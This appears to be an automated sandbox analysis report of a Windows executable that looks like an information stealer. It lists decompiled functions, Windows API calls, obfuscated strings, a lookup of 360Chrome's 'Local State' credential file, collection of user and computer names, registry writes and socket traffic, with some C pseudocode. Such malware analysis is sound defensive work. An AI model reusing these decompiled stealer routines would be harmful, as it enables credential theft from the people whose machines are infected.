					_t187[0x4e008] = _v560;
					_t133 = _v588;
					goto L20;
				}
			}

APIs

Part of subcall function 004162D5: malloc.MSVCRT ref: 004162E5

_assert.MSVCRT ref: 0041E7AC
free.MSVCRT(?), ref: 0041E88F

Part of subcall function 0041B06A: mktime.MSVCRT ref: 0041B156

Strings

(zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0, xrefs: 0041E7A5

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assertfreemallocmktime
String ID: (zip->entry.header_offset & (pzip->m_file_offset_alignment - 1)) == 0
API String ID: 3323008696-2866909811
Opcode ID: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction ID: 3dca5e95c5ab967c09f080b3d2ea03d2fc68d3d15dd66e283c87f82fc43bd00f
Opcode Fuzzy Hash: c4bf59fc29830c843d8361e995f1366899ef6f7b713e9cb50b4e39fef3ade159
Instruction Fuzzy Hash: D0A1D8B4904B408FD360DF2AC48475BBBE1BF88354F54892EE9EA87750D778E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0040D420, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D290: CryptAcquireContextA.ADVAPI32 ref: 0040D2E2
Part of subcall function 0040D290: CryptCreateHash.ADVAPI32 ref: 0040D31C
Part of subcall function 0040D290: CryptHashData.ADVAPI32 ref: 0040D34B
Part of subcall function 0040D290: CryptGetHashParam.ADVAPI32 ref: 0040D38A

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

RegQueryValueExA.ADVAPI32 ref: 0040D4EC
LocalFree.KERNEL32 ref: 0040D5B8

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

Y0Zs5Nh.Sii, xrefs: 0040D478
P0Zs5uRs0W5dY5aC5C, xrefs: 0040D499

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$Hash$AcquireAddressContextCreateDataFreeLibraryLoadLocalParamProcQueryValue_vsnprintf
String ID: P0Zs5uRs0W5dY5aC5C$Y0Zs5Nh.Sii
API String ID: 2081058215-3187465909
Opcode ID: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction ID: 3ebc2064e8f7268df4b8e6a934d6e56f21a9b96c1547cc96c36b4704c4ff52fe
Opcode Fuzzy Hash: 5a86b60eb7b24f86e885ff524fb9dc5150f0e0451a94be218f3f5f5105dd560d
Instruction Fuzzy Hash: 78419CB4A083419FD710EF69C58465AFBF0BF85358F00892EE8C897351EB79D588CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004211C0, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 105COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00421315

Strings

8, xrefs: 004212FE
nk != 0, xrefs: 0042130E
../nettle-3.5.1/aes-set-key-internal.c, xrefs: 00421306

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/aes-set-key-internal.c$8$nk != 0
API String ID: 1222420520-577961111
Opcode ID: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction ID: 89e7217bd13c7babcd5adc9bb28dc37eee23235c195977e0ffb5d0d95595f474
Opcode Fuzzy Hash: d0b8bfb88443995b5d46237e8dd2c2796db4cd98f11c714f3134454e1f713599
Instruction Fuzzy Hash: E74127707082B14BE3188F1D989413EBFE1ABD6201FCA4AAFF4C5C7252D539D518CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040B016, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B056
fread.MSVCRT ref: 0040B080
fclose.MSVCRT ref: 0040B0F3

Strings

Path=, xrefs: 0040B091

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Path=
API String ID: 2679521937-3676292482
Opcode ID: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction ID: 2438fad20f86bae77410323f418e8e562921bdaa67428cf1c8451c05b399b209
Opcode Fuzzy Hash: e2600f1d5f8662e9c392fe55e0e07e3544c7b57ce058911e094c9610cb459c02
Instruction Fuzzy Hash: 9B213EB05493459ED310AF65C5843AFBBE0EF80348F01883EE8E887341D77C8589DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B105, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 0040B145
fread.MSVCRT ref: 0040B16F
fclose.MSVCRT ref: 0040B1E2

Strings

Default=, xrefs: 0040B180

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: fclosefopenfread
String ID: Default=
API String ID: 2679521937-1704153231
Opcode ID: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction ID: 8e46bd977f0b38dff8dfac3cdc2039ee507d5f54b24c6ee619e1854a5548e2c2
Opcode Fuzzy Hash: cef17687d92d9b4a792fbe74fccce4ea79b1ff820fbda775a6627d7b36aa9cc9
Instruction Fuzzy Hash: 85213EB05493059ED320AF65C59879FBBE0EF84358F00882EE8D887251D77C8588DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00414470, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61processthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Part of subcall function 00407E8C: fopen.MSVCRT ref: 00407E9F
Part of subcall function 00407E8C: fread.MSVCRT ref: 00407EC7
Part of subcall function 00407E8C: fclose.MSVCRT ref: 00407ED4

CreateProcessA.KERNEL32 ref: 0041451B

Part of subcall function 00408AF3: ReleaseMutex.KERNEL32(?,?,?,?,?,?,0041452C), ref: 00408B02
Part of subcall function 00408AF3: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0041452C), ref: 00408B10

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

ResumeThread.KERNEL32 ref: 00414542
ExitProcess.KERNEL32 ref: 00414552

Strings

D, xrefs: 004144A8

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Process$AttributesByteCharCloseCreateExitFileHandleMultiMutexReleaseResumeThreadWideclosesocketfclosefopenfreadshutdown
String ID: D
API String ID: 3751753202-2746444292
Opcode ID: f8650b9407d0b2bd35c033e0c183c6fdc47d0c7d8f843b636e5c65679c480df3
Instruction ID: 067f5d9187edf2fa4930e283bd60014924ca834b1665164d65a9df55d347b5cc
Opcode Fuzzy Hash: f8650b9407d0b2bd35c033e0c183c6fdc47d0c7d8f843b636e5c65679c480df3
Instruction Fuzzy Hash: C721B0B05087419AD710AF66C59976FBBE0BF80348F01881EE5D85B382D7BD8489CF9B

Uniqueness

Uniqueness Score: -1.00%

Function 00401261, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00401268
getenv.MSVCRT ref: 00401329

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 00407F08: _beginthreadex.MSVCRT ref: 00407F3A
Part of subcall function 00407F08: CloseHandle.KERNEL32 ref: 00407F48

Strings

TEMP, xrefs: 00401322
%6\%6.dfd, xrefs: 0040132E

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle_beginthreadex_vsnprintfgetenvmalloc
String ID: %6\%6.dfd$TEMP
API String ID: 32720251-3655689890
Opcode ID: 667e9834810fc7f26c4f5814988b60aa762ffe94d6d13ea4869a8cf1b9f5be51
Instruction ID: 095e309c488b84dd6e8baa1bc898f34efff603a6fbd504479eb7308a9430591a
Opcode Fuzzy Hash: 667e9834810fc7f26c4f5814988b60aa762ffe94d6d13ea4869a8cf1b9f5be51
Instruction Fuzzy Hash: 78218EF05087419FD310AF6AD18839AFBE0BF84358F00892EE1E987291D7BD95899F46

Uniqueness

Uniqueness Score: -1.00%

Function 00405811, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

send.WS2_32 ref: 00405878
recv.WS2_32 ref: 004058B7

Strings

PTLLjPq %6:%S -qq9/G.y, xrefs: 00405828
200 OK, xrefs: 004058C7

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _vsnprintfrecvsend
String ID: 200 OK$PTLLjPq %6:%S -qq9/G.y
API String ID: 2169655391-891714383
Opcode ID: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction ID: 44476910b367cb1c2704fc52ca41c1ffc0a5ae24bf239666488ca44df54fa44d
Opcode Fuzzy Hash: 2ec24ba702f98473ee5d9a715ab26bdcf3092223efe4a5c028eb6e3fbd3b2434
Instruction Fuzzy Hash: 4111E2B1409301AED310AF29D58935FFBE0FF84354F51882EE4D897251D7788989DF96

Uniqueness

Uniqueness Score: -1.00%

Function 00410608, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00410656
RegSetValueExA.ADVAPI32 ref: 0041069B
RegCloseKey.ADVAPI32 ref: 004106AF

Strings

?, xrefs: 00410623

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 6f10c2fad66fb56d8a876a767705c0936c225fc18a07eb6d3c35cb31e2597923
Instruction ID: d7b5c200bfe116dfd6f132702afe2373019979046eeb2612c7d3539b4a1fd506
Opcode Fuzzy Hash: 6f10c2fad66fb56d8a876a767705c0936c225fc18a07eb6d3c35cb31e2597923
Instruction Fuzzy Hash: 6111B0B45083419FD340EF69D59475BFBE0BB88354F40892EF89883351E7B9D5898F86

Uniqueness

Uniqueness Score: -1.00%

Function 0040A115, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0040A13F

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Part of subcall function 0040970C: GetLocalTime.KERNEL32 ref: 00409733
Part of subcall function 0040970C: CloseHandle.KERNEL32 ref: 0040979A
Part of subcall function 0040970C: MultiByteToWideChar.KERNEL32 ref: 0040982A
Part of subcall function 0040970C: CreateFileW.KERNEL32 ref: 00409865

Strings

%s%s, xrefs: 0040A1AC
%.2d-%.2d-%.4d, xrefs: 0040A14E
%AppData%\Logs\, xrefs: 0040A1A4

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: LocalTime$ByteCharCloseCreateFileHandleMultiWide_vsnprintf
String ID: %.2d-%.2d-%.4d$%AppData%\Logs\$%s%s
API String ID: 1146952123-179548776
Opcode ID: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction ID: 34f9120a3e00634d565d7763f47cba82c7014e7225e68866d6d8ccf2245a1495
Opcode Fuzzy Hash: 5591ed2e94f3fe8972e20bad9ffc4cb21d90fde9e93a0863d429b9defc772554
Instruction Fuzzy Hash: FC11FAB4418311ABD710EF21D58426FBBE4BF84308F418D2EF8D89B281D7BC8985DB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004134FD, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041352F

Part of subcall function 00407F7A: LoadLibraryA.KERNEL32 ref: 00407F84

Part of subcall function 00407F8E: GetProcAddress.KERNEL32 ref: 00407FA0

Strings

@, xrefs: 0041356B
EiWVCiFdlW0ZM5C5Q6jf, xrefs: 0041353D
kernel32.dll, xrefs: 00413549

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressCountLibraryLoadProcTick
String ID: @$EiWVCiFdlW0ZM5C5Q6jf$kernel32.dll
API String ID: 4181504871-1834100647
Opcode ID: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction ID: fa7b763c6c8024e7a4c60085cb5de07acdd8405275a80474374d9d94c1c8e87d
Opcode Fuzzy Hash: f843426d8cf16e237edde9e46910649e4e13414e0e40c15f9c6a36014b23e474
Instruction Fuzzy Hash: DB1193B05083118BDB00EF25D59471BBBE1BF88708F04895EE8888F34AD779D949CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00413040, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32 ref: 0041307E
WideCharToMultiByte.KERNEL32 ref: 004130C0

Strings

localhost, xrefs: 004130CE
@, xrefs: 00413099

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharComputerMultiNameWide
String ID: @$localhost
API String ID: 4013585866-2209486628
Opcode ID: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction ID: 7c038244dc2cd29586230534efa33881c9182a2f6df97460e627dabf8a714e70
Opcode Fuzzy Hash: 75619ece23197e83586e66bb1f33d7f654c3ffc02ea5a6723a4e8ea35ab2e647
Instruction Fuzzy Hash: 4F01C5B0409301AEE320AF26D99476BFBE4EF94714F10891EF49847291D3B985898B87

Uniqueness

Uniqueness Score: -1.00%

Function 0040F772, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F78C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F7B4

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F77E, 0040F7AD
%s\360Chrome\Chrome\User Data\Local State, xrefs: 0040F7B9

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\360Chrome\Chrome\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-3219154590
Opcode ID: 6a4f4bd4eafef27ad3c46499d4e109de9b0001956a83309dcbd02ed961f098a6
Instruction ID: 2c5e5b9d49c5aa29139184a809ee8efa52bd93eb3b3edc2fc8ee47fb8fc21b8d
Opcode Fuzzy Hash: 6a4f4bd4eafef27ad3c46499d4e109de9b0001956a83309dcbd02ed961f098a6
Instruction Fuzzy Hash: B4011AB4408311AAD710BF22E54515EBBE0AF80758F41C83FE4D86B282C77C8599CF5B

Uniqueness

Uniqueness Score: -1.00%

Function 004130E8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 00413112
WideCharToMultiByte.KERNEL32 ref: 00413154

Strings

Unknown, xrefs: 00413162
@, xrefs: 0041312D

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiNameUserWide
String ID: @$Unknown
API String ID: 2949824840-3125819936
Opcode ID: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction ID: 75a62b7ad59212d7e7d3757252a2119b8f15ada3fb68da9ed8f134ad780259a0
Opcode Fuzzy Hash: 09c9c0a9f06fa941f3f5a46c28196dba5f2fafc07f774812d3ae38cfce7fc380
Instruction Fuzzy Hash: 830108B0409341AED320AF26D94479BFBE4BBD4714F008A1EE49847290D37985498B97

Uniqueness

Uniqueness Score: -1.00%

Function 004201D0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420225
_assert.MSVCRT ref: 0042024A

Strings

ctx->data_size == 0, xrefs: 00420243
ctx->auth_size % GCM_BLOCK_SIZE == 0, xrefs: 0042021E

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ctx->auth_size % GCM_BLOCK_SIZE == 0$ctx->data_size == 0
API String ID: 1222420520-835260546
Opcode ID: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction ID: 99285198ce319d174a993f5890d61c41e10ac662540de5e8efd0e2b11381df18
Opcode Fuzzy Hash: bb76f139360f95cd36ca910dd09579b82c5dd211b2994ce31ac56cc3e2eb7b57
Instruction Fuzzy Hash: 30011A70209310CFC740DF14E4C451A7BF5BFC4358F819A9EE8884B256C378E985DB86

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB61, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 24COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FBC9

Strings

../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FBBA
Q, xrefs: 0041FBB2
!(length % AES_BLOCK_SIZE), xrefs: 0041FBC2

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$Q
API String ID: 1222420520-736227025
Opcode ID: 0235047f58187a39db11c12d6489f25d2d41f666815d55729f68459e28030352
Instruction ID: 7f8f61c8df23ecb70e93ec12a44af74537505c36dafaf849a96d6b3a763fb17d
Opcode Fuzzy Hash: 0235047f58187a39db11c12d6489f25d2d41f666815d55729f68459e28030352
Instruction Fuzzy Hash: 07F0D4B060A701AFC740DF24E59461ABBF0BB88354F809D1EF8C887341D378A8889F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0041FBD1, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 24COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FC39

Strings

../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FC2A
[, xrefs: 0041FC22
!(length % AES_BLOCK_SIZE), xrefs: 0041FC32

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$[
API String ID: 1222420520-3409184719
Opcode ID: 343805436fce073f30f9e3772ad0ce55764f1fd40facfd7e41a048709e32d194
Instruction ID: 7522fd779a263ea223225e18d5767f15b5394ac0b58d2b9c3ee1adf97f9dd600
Opcode Fuzzy Hash: 343805436fce073f30f9e3772ad0ce55764f1fd40facfd7e41a048709e32d194
Instruction Fuzzy Hash: 21F0DAB060E301AFC750DF24E58461ABBE0BB84354F809C1EF4C847341D378A8859F47

Uniqueness

Uniqueness Score: -1.00%

Function 0041FB00, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 0041FB59

Strings

../nettle-3.5.1/aes-encrypt.c, xrefs: 0041FB4A
G, xrefs: 0041FB42
!(length % AES_BLOCK_SIZE), xrefs: 0041FB52

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: !(length % AES_BLOCK_SIZE)$../nettle-3.5.1/aes-encrypt.c$G
API String ID: 1222420520-3744816000
Opcode ID: b3a8f99880f7f9beb1147c89cebaa8c77fdad5f330c299cffaa506392bb9eab4
Instruction ID: b6f19dba06b4df6abe6717679b5f2b9c21e239fc99e3fa564f48b7d25df68e10
Opcode Fuzzy Hash: b3a8f99880f7f9beb1147c89cebaa8c77fdad5f330c299cffaa506392bb9eab4
Instruction Fuzzy Hash: 6FF0D4B060A301AFC740DF24E18461EBBF0BB88354F809C1EF8C887341D37898849B47

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED42, Relevance: 6.1, APIs: 4, Instructions: 66
fileCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0041ED42(void* __eflags, char _a12, signed int _a18, intOrPtr _a40, char _a48, signed int _a65616, signed int _a65620) {
				signed int _v4;
				int _v8;
				void* _v12;
				signed int _t24;
				signed int _t27;
				signed int _t28;
				int _t31;
				signed int _t34;
				signed int _t35;
				void* _t40;
				void* _t45;
				signed int _t46;
				signed int _t47;
				void* _t48;
				signed int* _t49;

				_t24 = E0041F3F0(0x1004c);
				_t49 = _t48 - _t24;
				_t34 = _a65616;
				_t46 = _a65620;
				if(_t34 != 0) {
					_t45 =  &_a48;
					_t40 =  &_a12;
					_t24 = memset(_t40, memset(_t45, 0, 0x4000 << 2), 9 << 2);
					_t49 =  &(_t49[6]);
					_v12 = _t40;
					 *_t49 = _t46;
					L0041F7B4();
					if(_t24 != 0) {
						goto L1;
					} else {
						_t28 = _a18;
						if((_t28 & 0x00000080) == 0) {
							 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | 0x00000001;
						}
						 *(_t34 + 0x4e008) =  *(_t34 + 0x4e008) | _t28 << 0x00000010;
						 *((intOrPtr*)(_t34 + 0x4e00c)) = _a40;
						 *_t49 = _t46;
						_v12 = 0x424983;
						_t24 = fopen(??, ??);
						_t47 = _t24;
						if(_t24 == 0) {
							goto L1;
						} else {
							while(1) {
								_v4 = _t47;
								_v8 = 0x10000;
								_v12 = 1;
								 *_t49 = _t45;
								_t31 = fread(??, ??, ??, ??);
								if(_t31 == 0) {
									break;
								}
								_v8 = _t31;
								_v12 = _t45;
								 *_t49 = _t34;
								if(E0041EC81(_t31) >= 0) {
									continue;
								} else {
									_t35 = _t34 | 0xffffffff;
								}
								L10:
								 *_t49 = _t47;
								fclose(??);
								_t27 = _t35;
								goto L11;
							}
							_t35 = 0;
							goto L10;
						}
					}
				} else {
					L1:
					_t27 = _t24 | 0xffffffff;
				}
				L11:
				return _t27;
			}

APIs

_stat.MSVCRT ref: 0041ED8F
fopen.MSVCRT ref: 0041EDC6
fread.MSVCRT ref: 0041EDE8
fclose.MSVCRT ref: 0041EE0F

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _statfclosefopenfread
String ID:
API String ID: 804335959-0
Opcode ID: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction ID: c86c0b954f8f68680828bf3fb845d0a681b1f2494741e4076b806c5f4ecabbb7
Opcode Fuzzy Hash: e49dcea1558de36b6d26133dc736d865fdae275fbb071cb261454f55feb63192
Instruction Fuzzy Hash: 68216F746083058ED760AF2AD48039BBBE4EF88754F00893EEDACC7381D67984C58B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00405214, Relevance: 6.1, APIs: 4, Instructions: 59
networkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405214(char _a4, signed int _a8) {
				char _v24;
				char _v25;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				char* _t35;
				char* _t36;
				char _t37;
				char* _t38;
				signed int _t39;

				_t41 =  &_v64;
				_t39 = _a8;
				_t37 = _a4;
				if((_t39 & 0x00000001) != 0) {
					_t35 =  &_v24;
					_v72 = 0x8004667e;
					_v76 = _t37;
					_v24 = 1;
					_v68 = _t35;
					L0041F91C();
					_t41 =  &_v64 - 0xc;
				}
				if((_t39 & 0x00000002) != 0) {
					_t38 =  &_v25;
					_v60 = 1;
					_v68 = 8;
					_v72 = 0xffff;
					_v76 = _t37;
					_v64 = _t38;
					_v25 = 1;
					L0041F8F4();
					_t41 = _t41 - 0x14;
					if(_t35 == 0) {
						_t35 =  &_v44;
						_v64 = 0;
						_v68 = 0;
						_v72 = _t38;
						_v76 = 0;
						_v80 = 0;
						_v84 = 0xc;
						_v88 = _t35;
						_v92 = 0x98000004;
						 *_t41 = _t37;
						_v44 = 1;
						_v40 = 0x2bf20;
						_v36 = 0x1388;
						L0041F95C();
						_t41 = _t41 - 0x24;
					}
				}
				if((_t39 & 0x00000004) == 0) {
					return _t35;
				} else {
					_t36 =  &_v24;
					_v60 = 1;
					_v68 = 1;
					_v72 = 6;
					_v76 = _t37;
					_v64 = _t36;
					_v24 = 1;
					L0041F8F4();
					return _t36;
				}
			}

APIs

ioctlsocket.WS2_32 ref: 00405245
setsockopt.WS2_32 ref: 00405281
WSAIoctl.WS2_32 ref: 004052E4
setsockopt.WS2_32 ref: 00405319

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt$Ioctlioctlsocket
String ID:
API String ID: 1196899187-0
Opcode ID: 4a1ab85cae5512115fe274dc8068c955a42f4f93045ec413a8af8eb2ccab6f2b
Instruction ID: 20f5eab9ee5944eb72183824eaa05ad15d37d7ba85e5585d89411a70b12a9a58
Opcode Fuzzy Hash: 4a1ab85cae5512115fe274dc8068c955a42f4f93045ec413a8af8eb2ccab6f2b
Instruction Fuzzy Hash: 0221A7B1409741AED340EF59D18835BFFE0AF84748F80992EF89457251D3B999888F87

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5A7, Relevance: 6.1, APIs: 4, Instructions: 55
fileCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0041C5A7(signed int* _a4, struct _IO_FILE* _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v40;
				struct _IO_FILE* _t13;
				int _t15;
				void* _t19;
				void* _t22;
				signed int* _t24;
				struct _IO_FILE* _t26;
				void* _t27;
				signed int _t28;
				void* _t30;
				struct _IO_FILE** _t31;

				_t27 = 0;
				_t31 = _t30 - 0x1c;
				_v40 = 0x424983;
				_t24 = _a4;
				 *_t31 = _a8;
				_t13 = fopen(??, ??);
				if(_t13 == 0) {
					L8:
					return _t27;
				}
				_v36 = 2;
				_v40 = 0;
				_t26 = _t13;
				 *_t31 = _t13;
				_t15 = fseek(??, ??, ??);
				 *_t31 = _t26;
				if(_t15 != 0) {
					L4:
					fclose();
					goto L8;
				}
				_t28 = ftell();
				_t19 = E0041606C(_t24);
				_t27 = _t19;
				if(_t19 != 0) {
					_t24[0xe] = E004161B5;
					_t24[0x11] = _t24;
					 *(_t24[0x12] + 0x3c) = _t26;
					 *_t24 = _t28;
					_t24[1] = _t28 >> 0x1f;
					_t22 = E00416619(_t24, _a12, __eflags);
					__eflags = _t22;
